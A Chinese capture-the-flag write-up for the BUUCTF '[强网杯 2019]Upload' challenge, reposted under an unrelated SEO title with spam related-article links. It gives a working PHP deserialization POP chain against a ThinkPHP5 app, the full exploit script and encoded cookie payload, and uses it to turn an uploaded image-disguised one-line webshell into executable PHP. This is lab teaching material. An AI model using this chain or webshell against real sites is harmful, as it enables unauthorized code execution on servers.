网站设计需要什么编程零基础入门课程
- 作者: 五速梦信息网
- 时间: 2026年04月20日 07:29
当前位置: 首页 > news >正文
网站设计需要什么,编程零基础入门课程,网站建设合集,手机网站的内容模块题目来源#xff1a;buuctf [强网杯 2019]Upload 1 目录 一、打开靶机#xff0c;查看信息 二、解题思路 step 1#xff1a;登陆进去看情况 step 2#xff1a;大佬来支援——问题在cookie step 3#xff1a;测试两个思路 1.目录穿越 2.目录扫描 step 4#xff…题目来源buuctf [强网杯 2019]Upload 1 目录 一、打开靶机查看信息 二、解题思路 step 1登陆进去看情况 step 2大佬来支援——问题在cookie step 3测试两个思路 1.目录穿越 2.目录扫描 step 4代码审计 step 5魔术方法利用copy step 5调用方法 step 6得到上传路径 step 7蚁剑连接 三、小结 一、打开靶机查看信息 根据题目可得是文件上传题目但这里并没有上传文件的地方先注册账号登陆进去看看情况。 二、解题思路 step 1登陆进去看情况 上传了个gif文件发现变成了头像查看源码发现文件名和后缀都被改了, step 2大佬来支援——问题在cookie 确实没有头绪了看了大佬的wp发现cookie有新信息。 这里提示下次可以抓包看新信息抓包也可以发现这里的问题 很像base x编码但是少了点东西base 64少了俩去试试发现提示只有302位不是4的倍数无法解码。这不巧了加上俩刚好304位可以解码了得到熟悉的东西 a:5:{s:2:ID;i:4;s:8:username;s:1:1;s:5:email;s:10:123qq.com;s:8:password;s:32:202cb962ac59075b964b07152d234b70;s:3:img;s:79:../upload/5e6f2693d111128ec4f1d7336f65b87f/ab7a128e83ca216c120791232caaf9a9.png;}7 是序列化数据。所以说cookie为注册信息序列化后的值这里有两个思路①根据序列化中传入的路径能否目录穿越②扫描网站备份文件 step 3测试两个思路 1.目录穿越 没有什么思路先pass掉 2.目录扫描 扫描出一个www.tar.gz在网页根目录下载下来看一下 这样才能下载下来发现是ThinkPHP5框架看看其中内容 既然是php文件用phpstorm打开主要功能在这四个文件上要开始代码审计了 step 4代码审计 代码太多了我们要找重点比如刚才的登陆页面只有上传文件的cookie信息。 整体功能从用户的Cookie中获取用户信息将其解码和反序列化然后与数据库中的用户信息进行比较以验证用户登陆是否有效。 而且还会对cookie数据进行base64解码然后进行反序列化将其转换为原始的数据结构 然后找找upload代码信息 大佬说利用点在这里copy。这个copy(source,dest)将文件从source拷贝到dest。成功时返回TRUE失败时返回FALSE所以这里的\(this-filename_tmp和\)thie-filename在可控的情况下可以将上传的一句话的png格式文件拷贝成php后缀的文件这样就可以运行一句话了。即 copy(\(this-filename_tmp,\)this-filename); // 最终得到一个shell.php文件 那么该怎么利用呢 step 5魔术方法利用copy 这里要用到两个魔术方法①get()②call() __get()一个类里有私有变量外界无法访问可以用该魔术方法间接访问 示例 call()调用了一个类里没有的方法那么就会自动调用该魔术方法其中第一个参数表示不存在的方法名字第二个参数接收传入的参数 示例 在Profile.php是这样呈现的 在call方法中需要将\(this-{ \)this-{\(name}}中的蓝色部分的值为upload_img就能调用upload_img方法那怎么做到呢 我想不出来(´。。)看看大佬们的wp吧看懂了就算学会了 step 5调用方法 以下步骤摘自BUUCTF-WEB 【强网杯】 2019]Upload 1 | Fan的小酒馆 在Register.php文件中。 Register中的__destruct方法调用了\)this-checker-index();假设我们把\(this-checker改成Profile类那这里的语句就能够触发Profile::__call方法。这样一条链条就形成了。 Register::__construct()-Register::__destruct()-Profile::__call()-Profile::__get()-Profile::__call()-Profile::upload_img()-copy() Register::__construct()中将\)this-checker指定为new Profile(), Register::destruct() 会调用Profile类中的index方法发现找不到会触发Profile::call。 public function __get(\(name){echo \)name;return \(this-except[\)name];} public function call(\(name, \)arguments){if (\(this-{\)name}) {\(this-{\)this-{\(name}}(\)arguments);}} 触发Profile::call,\(name的值则为index,当执行到\)this-{\(name}发现找不到index这个属性又会触发__get__get则会从\)this-except数组中取键名为index的值返回。当我们把\(this-except属性值设置为[indexupload_img]这样在执行\)this-{\(this-{\)name}}(\(arguments);一句时\)this-{\(name}不就是upload_img了吗。然后就会进入到upload_img方法中接下来只需要修改一些属性值就能执行到copy(\)this-filename_tmp,\(this-filename);。这里怎么利用刚刚已经说过了。 (感叹一下这个思路看懂了链式反应但是看不进去。。。再努努力 下一步先注册一个账号上传一个图片格式后缀的一句话木马(加GIF89a),拿到上传路径。 step 6得到上传路径 没有得到跳转所以去cookie信息里找到的 /upload/5e6f2693d111128ec4f1d7336f65b87f/39e37d1a8e648846d5afe11e7e9c3ee2.png 上脚本进行序列化脚本来源[强网杯 2019]Upload | 北歌 ?phpnamespace app\web\controller; error_reporting(0); class Profile {public \)checker;public \(filename_tmp;public \)filename;public \(upload_menu;public \)ext;public \(img;public \)except;public function __get(\(name){return \)this-except[\(name];}public function __call(\)name, \(arguments){if(\)this-{\(name}){\)this-{\(this-{\)name}}(\(arguments);}}}class Register {public \)checker;public \(registed;public function __destruct(){if(!\)this-registed){\(this-checker-index();}}}\)profile new Profile(); \(profile-except [index img]; \)profile-img upload_img; \(profile-ext png; \)profile-filename_tmp ./upload/5e6f2693d111128ec4f1d7336f65b87f/39e37d1a8e648846d5afe11e7e9c3ee2.png; \(profile-filename ./upload/5e6f2693d111128ec4f1d7336f65b87f/39e37d1a8e648846d5afe11e7e9c3ee2.php;\)register new Register(); \(register-registed false; \)register-checker \(profile;echo urlencode(base64_encode(serialize(\)register))); TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo3OntzOjc6ImNoZWNrZXIiO047czoxMjoiZmlsZW5hbWVfdG1wIjtzOjc4OiIuL3VwbG9hZC81ZTZmMjY5M2QxMTExMjhlYzRmMWQ3MzM2ZjY1Yjg3Zi8zOWUzN2QxYThlNjQ4ODQ2ZDVhZmUxMWU3ZTljM2VlMi5wbmciO3M6ODoiZmlsZW5hbWUiO3M6Nzg6Ii4vdXBsb2FkLzVlNmYyNjkzZDExMTEyOGVjNGYxZDczMzZmNjViODdmLzM5ZTM3ZDFhOGU2NDg4NDZkNWFmZTExZTdlOWMzZWUyLnBocCI7czoxMToidXBsb2FkX21lbnUiO047czozOiJleHQiO3M6MzoicG5nIjtzOjM6ImltZyI7czoxMDoidXBsb2FkX2ltZyI7czo2OiJleGNlcHQiO2E6MTp7czo1OiJpbmRleCI7czozOiJpbWciO319czo4OiJyZWdpc3RlZCI7YjowO30%3D 然后将其放入cookie后在根目录多刷新几次发现再次访问这个文件夹就是php文件并且成功解析一句话可以上蚁剑了 step 7蚁剑连接 常规操作 URL实例无法访问 / Instance cant be reached at that time | BUUCTF 成功找到flag 三、小结 1.这个题跨越两天不知道为什么第一天蚁剑怎么都连不上明明看到文件上传成功也看到了/upload/界面上传路径但是马始终显示不出来。无奈只能暂时放弃结果第二天一次成功有古怪。所以第一天做不出来可以先放放 2.查看页面信息不要忘记cookie数据 3.数据信息解密也很重要 4.学习到两个魔术方法get()、call() 5.代码审计逻辑要明白
相关文章
-
网站设计需要那些人网站建设合同书注意事项
网站设计需要那些人网站建设合同书注意事项
- 技术栈
- 2026年04月20日
-
网站设计需要哪些技能wordpress 自动图片
网站设计需要哪些技能wordpress 自动图片
- 技术栈
- 2026年04月20日
-
网站设计需要哪些技能wordpress 文件上传大小
网站设计需要哪些技能wordpress 文件上传大小
- 技术栈
- 2026年04月20日
-
网站设计需要什么群晖nas安装wordpress安装
网站设计需要什么群晖nas安装wordpress安装
- 技术栈
- 2026年04月20日
-
网站设计要素北京优化网站公司
网站设计要素北京优化网站公司
- 技术栈
- 2026年04月20日
-
网站设计一年费用公司注册地址怎么变更
网站设计一年费用公司注册地址怎么变更
- 技术栈
- 2026年04月20日
